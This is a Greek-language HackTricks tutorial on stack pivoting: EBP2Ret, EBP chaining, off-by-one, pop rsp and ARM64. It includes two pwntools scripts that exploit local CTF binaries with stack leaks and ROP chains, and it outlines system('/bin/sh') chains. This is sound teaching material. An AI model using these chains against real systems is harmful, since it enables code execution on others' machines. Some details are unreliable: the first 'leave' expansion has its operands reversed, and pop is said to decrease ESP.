Stack Pivoting - EBP2Ret - EBP chaining

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Αυτή η τεχνική εκμεταλλεύεται τη δυνατότητα να χειριστεί το Δείκτη Βάσης (EBP) για να αλυσίδωσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών leave; ret.

Για να θυμηθείτε, το leave σημαίνει βασικά:

mov       ebp, esp
pop       ebp
ret

Και καθώς το EBP βρίσκεται στη στοίβα πριν το EIP είναι δυνατό να το ελέγχετε ελέγχοντας τη στοίβα.

EBP2Ret

Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να τροποποιήσετε τον καταχωρητή EBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε τον καταχωρητή EIP. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεσή τους.

Αν, κατά την εκτέλεση της fvuln, καταφέρετε να εισάγετε ένα ψεύτικο EBP στη στοίβα που δείχνει σε μια περιοχή στη μνήμη όπου βρίσκεται η διεύθυνση του shellcode σας (συν τέσσερα bytes για τη λειτουργία pop), μπορείτε να ελέγχετε έμμεσα τον EIP. Καθώς η fvuln επιστρέφει, το ESP ορίζεται σε αυτή την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία pop μειώνει το ESP κατά 4, κάνοντάς το να δείχνει αποτελεσματικά σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί. Σημειώστε πώς χρειάζεστε να γνωρίζετε 2 διευθύνσεις: Εκεί όπου θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.

Κατασκευή Εκμετάλλευσης

Πρώτα πρέπει να γνωρίζετε μια διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα / διευθύνσεις. Το ESP θα δείχνει εδώ και θα εκτελέσει το πρώτο ret.

Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το ret που θα εκτελέσει αυθαίρετο κώδικα. Θα μπορούσατε να χρησιμοποιήσετε:

  • Μια έγκυρη διεύθυνση ONE_GADGET.

  • Η διεύθυνση της system() ακολουθούμενη από 4 άχρηστα bytes και τη διεύθυνση του "/bin/sh" (x86 bits).

  • Η διεύθυνση ενός gadget jump esp; (ret2esp) ακολουθούμενη από το shellcode για εκτέλεση.

  • Κάποια αλυσίδα ROP

Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στο ελεγχόμενο μέρος της μνήμης, πρέπει να υπάρχουν 4 bytes λόγω του pop μέρους της εντολής leave. Θα ήταν δυνατό να καταχραστείτε αυτά τα 4B για να ορίσετε ένα δεύτερο ψεύτικο EBP και να συνεχίσετε τον έλεγχο της εκτέλεσης.

Εκμετάλλευση Off-By-One

Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής που είναι γνωστή ως "Off-By-One Exploit". Χρησιμοποιείται όταν μπορείτε να τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP. Σε τέτοιες περιπτώσεις, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση προς την οποία θα πρέπει να μεταβεί με το ret πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας μια παρόμοια χειραγώγηση με περισσότερους περιορισμένους όρους. Συνήθως τροποποιείται το byte 0x00 για να μεταβεί όσο το δυνατόν πιο μακριά.

Επίσης, είναι συνηθισμένο να χρησιμοποιείται ένα RET sled στη στοίβα και να τοποθετείται η πραγματική αλυσίδα ROP στο τέλος για να είναι πιο πιθανό να δείχνει το νέο ESP μέσα στο RET SLED και να εκτελείται η τελική αλυσίδα ROP.

Αλυσίδα EBP

Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο EBP της στοίβας και μια διεύθυνση στο EIP για το leave; ret, είναι δυνατό να μετακινηθεί το ESP στην ελεγχόμενη διεύθυνση EBP από τη στοίβα.

Τώρα, το ESP ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα RET. Για να καταχραστείτε αυτό, είναι δυνατό να τοποθετήσετε στην ελεγχόμενη θέση του ESP αυτό:

  • &(επόμενο ψεύτικο EBP) -> Φόρτωση του νέου EBP λόγω του pop ebp από την εντολή leave

  • system() -> Καλείται από το ret

  • &(leave;ret) -> Καλείται μετά τη λήξη του συστήματος, θα μετακινήσει το ESP στο ψεύτικο EBP και θα ξεκινήσει ξανά

  • &("/bin/sh")-> Παράμετρος για το system

Βασικά με αυτόν τον τρόπο είναι δυνατό να αλυσίδωσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.

Αυτό είναι σαν ένα ret2lib, αλλά πιο πολύπλοκο χωρίς προφανές όφελος αλλά θα μπορούσε να είναι ενδιαφέρον σε κάποιες εξαιρετικές περιπτώσεις.

Επιπλέον, εδώ έχετε ένα παράδειγμα ενός προκλητικού που χρησιμοποιεί αυτή την τεχνική με ένα διαρροή στη στοίβα για να καλέσει μια νικητήρια συνάρτηση. Αυτό είναι το τελικό φορτίο από τη σελίδα:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

Η EBP ενδέχεται να μη χρησιμοποιείται

Όπως εξηγείται σε αυτήν την ανάρτηση, αν ένα δυαδικό αρχείο μεταγλωττίζεται με κάποιες βελτιστοποιήσεις, το EBP δεν καταφέρνει να ελέγξει το ESP, επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP θα αποτύχει βασικά επειδή δεν έχει κανένα πραγματικό αποτέλεσμα. Αυτό συμβαίνει επειδή το προλόγιο και το επίλογο αλλάζουν αν το δυαδικό αρχείο είναι βελτιστοποιημένο.

  • Μη βελτιστοποιημένο:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Βελτιστοποιημένο:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Άλλοι τρόποι για να ελέγχετε το RSP

pop rsp gadget

Σε αυτήν τη σελίδα μπορείτε να βρείτε ένα παράδειγμα χρησιμοποιώντας αυτήν την τεχνική. Για αυτήν την πρόκληση χρειαζόταν να καλεστεί μια συνάρτηση με 2 συγκεκριμένα ορίσματα, και υπήρχε ένα pop rsp gadget και υπήρχε ένα διαρροή από τη στοίβα:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp εργαλείο

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Ελέγξτε την τεχνική ret2esp εδώ:

pageRet2esp / Ret2reg

Αναφορές & Άλλα Παραδείγματα

ARM64

Στο ARM64, οι πρόλογοι και επίλογοι των συναρτήσεων δεν αποθηκεύουν και ανακτούν το SP registry στη στοίβα. Επιπλέον, η εντολή RET δεν επιστρέφει στη διεύθυνση που δείχνει το SP, αλλά στη διεύθυνση μέσα στο x30.

Συνεπώς, από προεπιλογή, απλά καταχρώμενοι τον επίλογο δεν θα μπορούσατε να ελέγξετε το SP registry με τον υπεργραφόμενο κάποια δεδομένα μέσα στη στοίβα. Και ακόμη κι αν καταφέρετε να ελέγξετε το SP, θα χρειαζόσασταν έναν τρόπο να ελέγξετε το x30 register.

  • πρόλογος

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // Το FP δείχνει στο frame record
  • επίλογος

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να ελέγχετε το SP (ελέγχοντας κάποιο register του οποίου η τιμή περνά στο SP ή επειδή για κάποιο λόγο το SP παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε ένα υπερχείλιση) και στη συνέχεια να καταχρηστείτε τον επίλογο για να φορτώσετε τον x30 register από έναν ελεγχόμενο SP και να RET σε αυτόν.

Επίσης, στην ακόλουθη σελίδα μπορείτε να δείτε το ισοδύναμο του Ret2esp στο ARM64:

pageRet2esp / Ret2reg
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated